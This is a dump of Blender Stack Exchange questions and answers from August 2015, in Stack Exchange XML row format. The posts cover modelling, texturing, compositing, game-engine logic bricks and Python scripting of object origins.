  <row Id="35816" PostTypeId="1" CreationDate="2015-08-16T10:54:03.020" Score="2" ViewCount="63" Body="&lt;p&gt;I have build a huge tower of blocks and floors with the array modifier about 20.000 blocks.However i need to separate them.When i separate them from loose parts the pc does ages and i think that it will never stop separating (i let it all night open, and nothink happened).&#xA;Is there an other way that will make me able to separate my cubes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help i want to finish my physics simulation D:&lt;/p&gt;&#xA;" OwnerUserId="16433" LastActivityDate="2015-08-16T10:54:03.020" Title="performance question" Tags="&lt;mesh&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35817" PostTypeId="2" ParentId="35815" CreationDate="2015-08-16T12:13:08.393" Score="3" Body="&lt;p&gt;Here's the fake iridescence effect I achieved. Try to experiment with &lt;em&gt;Mapping&lt;/em&gt; and &lt;em&gt;Anisotropic&lt;/em&gt; nodes settings.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Ex04x.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ex04x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/z21Lz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z21Lz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an animated gif &lt;em&gt;(click on a picture below to see a larger version)&lt;/em&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tG73t.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tG73t.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-16T18:03:16.350" LastActivityDate="2015-08-16T18:03:16.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35818" PostTypeId="1" AcceptedAnswerId="35819" CreationDate="2015-08-16T12:55:05.387" Score="3" ViewCount="88" Body="&lt;p&gt;I think I pressed an unintended keyboard shortcut and this cursor thing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uxVDY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uxVDY.png&quot; alt=&quot;Cursor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in 3D view disappeared. What is the name of it and how to get it back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am already in object mode, not in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the comment, it seems that it is called &quot;manipulator&quot;. However, pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt; does not show it.&lt;/p&gt;&#xA;" OwnerUserId="1832" LastEditorUserId="241" LastEditDate="2015-08-16T13:07:10.077" LastActivityDate="2015-08-16T13:12:05.333" Title="What is the name of this item and how to get it back?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35819" PostTypeId="2" ParentId="35818" CreationDate="2015-08-16T13:12:05.333" Score="3" Body="&lt;p&gt;It looks like I have disabled all manipulators like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4NCYK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4NCYK.png&quot; alt=&quot;Manipulators disabled&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in which case pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt; does not have an effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turning on at least one of them like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Sq11v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sq11v.png&quot; alt=&quot;Manipulators enabled&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;brings the manipulator back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hovering over the item does not show a keyboard shortcut, so it must have been a mis-&lt;kbd&gt;Shift&lt;/kbd&gt;-click instead of an unintended keyboard shortcut.&lt;/p&gt;&#xA;" OwnerUserId="1832" LastActivityDate="2015-08-16T13:12:05.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35820" PostTypeId="1" AcceptedAnswerId="35821" CreationDate="2015-08-16T13:22:03.490" Score="2" ViewCount="180" Body="&lt;p&gt;I have come across this model many times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HPEzP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HPEzP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure that this is a very common model, however, I can not find out anything about it.  What is it, and Where can I get it?&lt;/p&gt;&#xA;" OwnerUserId="16456" LastEditorUserId="5426" LastEditDate="2015-08-16T16:54:56.760" LastActivityDate="2015-08-16T16:54:56.760" Title="What is this 3D Model?" Tags="&lt;modeling&gt;&lt;materials&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35821" PostTypeId="2" ParentId="35820" CreationDate="2015-08-16T13:26:53.017" Score="2" Body="&lt;p&gt;The &quot;eye-like&quot; logo seems to be the one from &lt;a href=&quot;http://www.blenderguru.com/&quot; rel=&quot;nofollow&quot;&gt;Blenderguru&lt;/a&gt;. Doing a reverse image search on Google, it seems that it has first been published by Greg Zaal for the &lt;a href=&quot;http://www.blenderguru.com/articles/cycles-shader-encyclopedia/&quot; rel=&quot;nofollow&quot;&gt;Cycles Shader Encyclopedia&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think you should use it, since the logo might be copyright protected. For blender users, the Blender ape &quot;Suzanne&quot; is often used for demonstration purposes. You can create it by &quot;Add/Mesh/Monkey&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1832" LastEditorUserId="1832" LastEditDate="2015-08-16T13:35:24.760" LastActivityDate="2015-08-16T13:35:24.760" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35822" PostTypeId="1" CreationDate="2015-08-16T13:38:00.337" Score="10" ViewCount="1029" Body="&lt;p&gt;Emitting sounds with different intensity at rigid body collisions is what I want. I couldn't find a tutorial on it. Sorry I didn't post any reference image this time.&lt;/p&gt;&#xA;" OwnerUserId="16406" LastEditorUserId="2217" LastEditDate="2015-08-17T03:55:39.920" LastActivityDate="2021-05-06T10:03:36.693" Title="How to accurately add sound effects on each rigid body collision?" Tags="&lt;rigid-body-simulation&gt;&lt;audio&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35823" PostTypeId="1" CreationDate="2015-08-16T14:45:57.593" Score="0" ViewCount="86" Body="&lt;p&gt;Anyone knows how I can make my animation generate faster on the viewport? More exactly, when I try to simulate cloth for example, just 14-20% of my CPU is used, and to preview animation it's slower.... How can I make blender use 100% of CPU when it do that simulation?&lt;/p&gt;&#xA;" OwnerUserId="16372" LastEditorDisplayName="user1853" LastEditDate="2015-08-16T17:40:44.000" LastActivityDate="2015-08-16T17:40:44.000" Title="How to accelerate cloth simulation" Tags="&lt;cycles-render-engine&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;windows&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-16T20:57:12.873" ContentLicense="CC BY-SA 3.0" />
  <row Id="35824" PostTypeId="1" CreationDate="2015-08-16T14:50:54.687" Score="0" ViewCount="44" Body="&lt;p&gt;I animate a sphere changing scale(frame 1 to 60)&#xA;And also his Alpha value(frame 1 to 60)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When playing booth through actions acutators(one for each, linked by an always sensos), just scale play. alpha dont change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;testing alpha alone, work well. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="16243" LastEditorUserId="3401" LastEditDate="2015-08-16T18:27:55.520" LastActivityDate="2015-08-17T08:37:27.903" Title="Playing Scale and Alpha Animations at the same time" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35825" PostTypeId="1" AcceptedAnswerId="35830" CreationDate="2015-08-16T15:13:34.827" Score="10" ViewCount="4263" Body="&lt;p&gt;Is there a way to change the origin of an object to an arbitrary point (via scripting) without using the operator origin_set()?  I.e., isn't there a method or property on the object to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.cursor_location = pt&#xA;bpy.ops.object.origin_set(type='ORIGIN_CURSOR')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this can get tedious, e.g., if I have other objects selected.&lt;/p&gt;&#xA;" OwnerUserId="9771" LastActivityDate="2020-09-20T04:35:12.117" Title="Changing object origin to arbitrary point without origin_set()?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35826" PostTypeId="1" AcceptedAnswerId="35828" CreationDate="2015-08-16T16:01:54.333" Score="4" ViewCount="180" Body="&lt;p&gt;I'm using &lt;code&gt;context.window_manager.invoke_props_dialog(self)&lt;/code&gt; to show a property dialog. One of the things I need is an export directory, so I added:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;exportPath = StringProperty(name=&quot;Path&quot;, subtype='FILE_PATH')&lt;/code&gt; to the class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The property does show up, and there is a button to click on as it should, but when I click on that button, nothing happens. Do I need to do something additional to make this work, or is this a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16457" LastEditorUserId="29" LastEditDate="2015-08-16T16:30:39.440" LastActivityDate="2015-08-16T18:31:42.083" Title="Browse button in StringProperty FILE_PATH not working" Tags="&lt;python&gt;&lt;properties&gt;&lt;path&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35828" PostTypeId="2" ParentId="35826" CreationDate="2015-08-16T18:31:42.083" Score="4" Body="&lt;p&gt;You can't open the File / Directory view when the &lt;code&gt;invoke_props_dialog&lt;/code&gt; itself is open, it's a blocking dialogue. I think this is mentioned in the documentation. (i'll try to find it and link here)&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-08-16T18:31:42.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35829" PostTypeId="1" CreationDate="2015-08-16T19:00:22.790" Score="5" ViewCount="2372" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CpnNR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CpnNR.jpg&quot; alt=&quot;render composited preloaded external image sequence without 3D scene&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have a solution in form of script, some addon or some 'hack' how to render only composited image sequences and passes that you have loaded in Compositing Nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender doesn't do that &lt;strong&gt;directly&lt;/strong&gt; because blender &lt;strong&gt;firstly render 3D scene&lt;/strong&gt; (even 3d scene is empty) and then shortly produce render image for current frame from Compositing Nodes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you know blender Compositing can be awesome, I want use it like Nuke, but this is barrier for fast using in sense of speed-up post-processing.&lt;/p&gt;&#xA;" OwnerUserId="16453" LastEditorUserId="2217" LastEditDate="2015-08-16T20:59:11.870" LastActivityDate="2015-08-17T06:22:10.097" Title="How to directly render Compositing ONLY - without 3D scene?" Tags="&lt;rendering&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35830" PostTypeId="2" ParentId="35825" CreationDate="2015-08-16T19:03:55.593" Score="7" Body="&lt;p&gt;you could do something like this in &lt;em&gt;Edit mode&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.data.transform(mathutils.Matrix.Translation(-new_origin))&#xA;obj.location += new_origin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use it in &lt;a href=&quot;https://gist.github.com/zeffii/5879583&quot; rel=&quot;noreferrer&quot;&gt;this addon&lt;/a&gt; which sets the origin to the selected vertex, or median.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;or as CoDEmanX points out&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.data.transform(mathutils.Matrix.Translation(-new_origin))&#xA;obj.matrix_world.translation += new_origin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-16T19:20:48.873" LastActivityDate="2015-08-16T19:20:48.873" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35831" PostTypeId="2" ParentId="35829" CreationDate="2015-08-16T19:11:02.280" Score="0" Body="&lt;p&gt;Make sure you scene has a camera in it. You don't need anything else, but you MUST have a camera. Then either do a regular render and just immediately cancel it, or do an OpenGL render (both available via the main Render Menu, or various buttons at the bottom of the UI.) Then unplug and replug your image into the Composite node.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-08-16T19:11:02.280" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35832" PostTypeId="1" AcceptedAnswerId="35838" CreationDate="2015-08-16T19:22:21.837" Score="0" ViewCount="3781" Body="&lt;p&gt;I'm using the Blender render, and miss a texture repeat option I know from OpenGL. It is used in one model which has been finished poly-wise, but texture mapping is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at our good old Lakitu friend here, who has obvious texturing issues:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ixIF7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ixIF7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the UV mapping on the left, the source to the texturing issue becomes clear: It would be mapped correctly only if the texture would be repeated and mirrored outside its bounds (as if you would use GL_MIRRORED_REPEAT in OpenGL).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I do not find such an option in the texture repeat options of the Blender render. Can I only fix this by manually modifying the out-of-bounds UVs (mirroring them back into the texture space and splitting triangles spanning the texture borders)?&lt;/p&gt;&#xA;" OwnerUserId="13128" LastActivityDate="2015-08-16T21:46:45.667" Title="How to repeat a texture mirrored?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35833" PostTypeId="1" CreationDate="2015-08-16T19:23:13.680" Score="1" ViewCount="125" Body="&lt;p&gt;I recently did a netrender under Cycles with a hundred frames at five samples a frame with random seeds. However, all of the ouputs ended up the same. Why did this happen?&lt;/p&gt;&#xA;&lt;p&gt;Here's a screenshot of my sampling options:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uL4h4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uL4h4.png&quot; alt=&quot;Sampling Options&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I didn't post the .blend because it's over a gigabyte, but if you need it I can. Similarly, I didn't post the render results because they were 214 MB each, but I can.&lt;/p&gt;&#xA;&lt;h3&gt;Edit&lt;/h3&gt;&#xA;&lt;p&gt;I tested it again (both netrender and local) and the netrender again failed to deliver, while the local render worked. Very strange.&lt;/p&gt;&#xA;&lt;h3&gt;Another edit&lt;/h3&gt;&#xA;&lt;p&gt;Problem cured itself. No idea why or how. But it did. Someone with enough power can close this now.&lt;/p&gt;&#xA;" OwnerUserId="5661" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-17T05:46:28.417" Title="Netrenders don't use random seeds" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;network&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-08-18T22:43:16.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="35835" PostTypeId="1" AcceptedAnswerId="35836" CreationDate="2015-08-16T21:04:45.687" Score="17" ViewCount="3319" Body="&lt;p&gt;I've seen two different videos where the user selected a single vertex and then expanded it into a 4 sided plane. This is a technique I've needed many times but I am not sure how that was accomplished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This picture sort of demonstrates what I'm trying to reproduce. &#xA;before (left) and after (right)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CYnhN.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CYnhN.jpg&quot; alt=&quot;example topology&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1506" LastEditorUserId="2217" LastEditDate="2015-08-16T22:59:03.863" LastActivityDate="2015-12-26T19:15:21.437" Title="How to convert a single vertex into a plane within a mesh?" Tags="&lt;modeling&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35836" PostTypeId="2" ParentId="35835" CreationDate="2015-08-16T21:07:01.210" Score="27" Body="&lt;p&gt;Select the vertex and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; that will &lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/subdividing/bevel.html&quot; rel=&quot;noreferrer&quot;&gt;bevel&lt;/a&gt; the vertex, creating a new face.&lt;br&gt;&#xA;Do note that doing so will create Ngons in the surrounding faces.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NBREm.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NBREm.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-08-16T22:16:47.943" LastActivityDate="2015-08-16T22:16:47.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35838" PostTypeId="2" ParentId="35832" CreationDate="2015-08-16T21:46:45.667" Score="3" Body="&lt;p&gt;In order to repeat the texture, at the same time mirroring it, you should check 2 options in the &lt;a href=&quot;http://www.blender.org/manual/render/blender_render/textures/types/image.html?highlight=image%20mapping#image-mapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Image Mapping&lt;/em&gt; scroll&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;increase value of the &lt;strong&gt;Repeat&lt;/strong&gt; slider to something more, than 1 (otherwise &lt;strong&gt;Mirror&lt;/strong&gt; options will continue being disabled, like you've mentioned);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;check &lt;strong&gt;Mirror X&lt;/strong&gt; and / or &lt;strong&gt;Mirror Y&lt;/strong&gt; checkboxes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Htaid.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Htaid.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture will be repeating as the pattern, mirrored on selected axes.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-08-16T21:46:45.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35839" PostTypeId="2" ParentId="35785" CreationDate="2015-08-16T21:57:48.270" Score="0" Body="&lt;p&gt;I fixed my problem by enabling &quot;level&quot; in the keyboard sensor instead of &quot;tap&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Tap&quot; seemed more logical to me, so if someone knows why it did not work, let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to change states with the same keyboard sensor activate &quot;level&quot;.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-08-16T21:57:48.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35840" PostTypeId="2" ParentId="35835" CreationDate="2015-08-16T21:58:20.590" Score="11" Body="&lt;p&gt;From the screenshot in your question, it seems like you're trying to convert a vertex inside an existing mesh into a quad face, rather than creating a plane from a single vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be achieved with the bevel tool (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt;), as seen in this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h78D4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h78D4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="2217" LastEditDate="2015-12-26T19:15:21.437" LastActivityDate="2015-12-26T19:15:21.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35841" PostTypeId="1" AcceptedAnswerId="35882" CreationDate="2015-08-16T22:16:47.403" Score="0" ViewCount="94" Body="&lt;p&gt;I copied some logic bricks from object 1 to object 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now everytime I pick only object 1 or only object 2, both their SCAs appear on the logic brick menu. It is exhausting since they are many. Why is this happening and how do I stop it?&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-08-17T12:44:24.450" Title="Copying logic bricks causes acts strange in the logic editor" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35842" PostTypeId="1" AcceptedAnswerId="35843" CreationDate="2015-08-17T00:00:25.003" Score="4" ViewCount="217" Body="&lt;p&gt;Ran into this a couple times while modelling this spaceship. A face will have dots all over it and when i try to subdivide it doesn't work. I do notice that the faces around it kind of wiggle around a little though?&lt;a href=&quot;https://i.stack.imgur.com/vTAwD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vTAwD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16465" LastActivityDate="2015-08-17T00:09:30.943" Title="What are the faces with dotted patterns on them that seemingly cannot be subdivided" Tags="&lt;modeling&gt;&lt;editing&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35843" PostTypeId="2" ParentId="35842" CreationDate="2015-08-17T00:09:30.943" Score="2" Body="&lt;p&gt;The dots mean the face is &lt;em&gt;Active&lt;/em&gt;. See &lt;a href=&quot;https://blender.stackexchange.com/q/8314/599&quot;&gt;Why does one of the faces show dotted in editmode?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why it apparently can't be subdivided is not due to it's selection state, but rather because it is an &lt;a href=&quot;https://blender.stackexchange.com/q/89/599&quot;&gt;&lt;em&gt;n-gon&lt;/em&gt;&lt;/a&gt;. An n-gon is a faces made up of more than four edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subdividing an n-gon won't create edges running through it, but will still add vertices to it's existing edges:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fzKyT.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fzKyT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in &lt;em&gt;Face Select&lt;/em&gt; mode these verts won't be visible. To see them, switch to &lt;em&gt;Vertex Select&lt;/em&gt; mode&lt;br&gt;&#xA;(&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what you are doing, n-gons should generally be avoided. See &lt;a href=&quot;https://blender.stackexchange.com/q/89/599&quot;&gt;When should N-Gons be used, and when shouldn&amp;#39;t they?&lt;/a&gt; for some more info.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-08-17T00:09:30.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35844" PostTypeId="1" AcceptedAnswerId="35855" CreationDate="2015-08-17T00:24:14.820" Score="3" ViewCount="421" Body="&lt;p&gt;I have a bunch of videos recorded from a Samsung Galaxy S6. They all have a resolution of 3840x2160 and are supposed to be at 30fps. The weird thing is, some of the clips have video segments twice the length of the audio. In Blender my project's framerate is set to 30fps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the source files in VLC, all the video framerates are about 30fps. Why is it that some of the files imported have video segments twice the length they should? For example, the video segment will be 400 frames, and the audio will be 200. I can set Blender's expected frame-rate to 60, which causes the a/v to line up. But then the video plays back poorly (since it was not 60fps to begin with, something is messed up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the following information reported by VLC.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Codec: H264 - MPEG-4 AVC (part 10) (avc1)&#xA;Resolution: 3840x2178&#xA;Display resolution: 3840x2160&#xA;Frame rate: 29.981651&#xA;Decoded format: Planar 4:2:0 YUV&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16464" LastEditorUserId="16464" LastEditDate="2015-08-18T22:20:18.160" LastActivityDate="2015-09-08T12:50:47.733" Title="Audio and video segments are not the same length" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2015-09-07T15:28:37.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="35847" PostTypeId="1" AcceptedAnswerId="36096" CreationDate="2015-08-17T01:39:00.620" Score="0" ViewCount="299" Body="&lt;p&gt;I'm getting &lt;a href=&quot;https://blender.stackexchange.com/questions/35615/one-or-more-addons-do-not-have-utf-8-encoding&quot;&gt;errors&lt;/a&gt; that I can't figure out how to fix, so I'm thinking my best option at this point is a factory reset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that I can export key configurations, but how do I export my Theme? I'd rather not remake it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JBjty.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JBjty.png&quot; alt=&quot;Complicated Theme&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other settings I should make sure to save before I conduct the reset?&lt;/p&gt;&#xA;" OwnerUserId="15400" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-08-20T17:12:21.730" Title="How to save settings before a factory reset?" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35848" PostTypeId="1" AcceptedAnswerId="35861" CreationDate="2015-08-17T01:59:43.400" Score="2" ViewCount="4401" Body="&lt;p&gt;So I've been using WoW model viewer to export .obj files into blender. Everything works great up to the point where a UV texture that's created by WoW model viewer has any transparency on it. In the UV map this is shown as a black area, and looks terrible on the model itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After looking it up on Google I found an archived post in regards to the alpha is the black area, however I don't understand how this translates and the post itself had images that were broken links, I've still yet to find anything on Google close to &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-97970.html&quot; rel=&quot;nofollow&quot;&gt;this archived post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just starting up with Blender I am struggling to find where to resolve this transparency issue, as it's making certain models look terrible.&lt;/p&gt;&#xA;" OwnerUserId="14619" LastEditorUserId="14619" LastEditDate="2015-08-17T02:07:30.933" LastActivityDate="2015-08-17T05:56:21.777" Title="changing black uv texture areas to transparent in cycles" Tags="&lt;uv&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
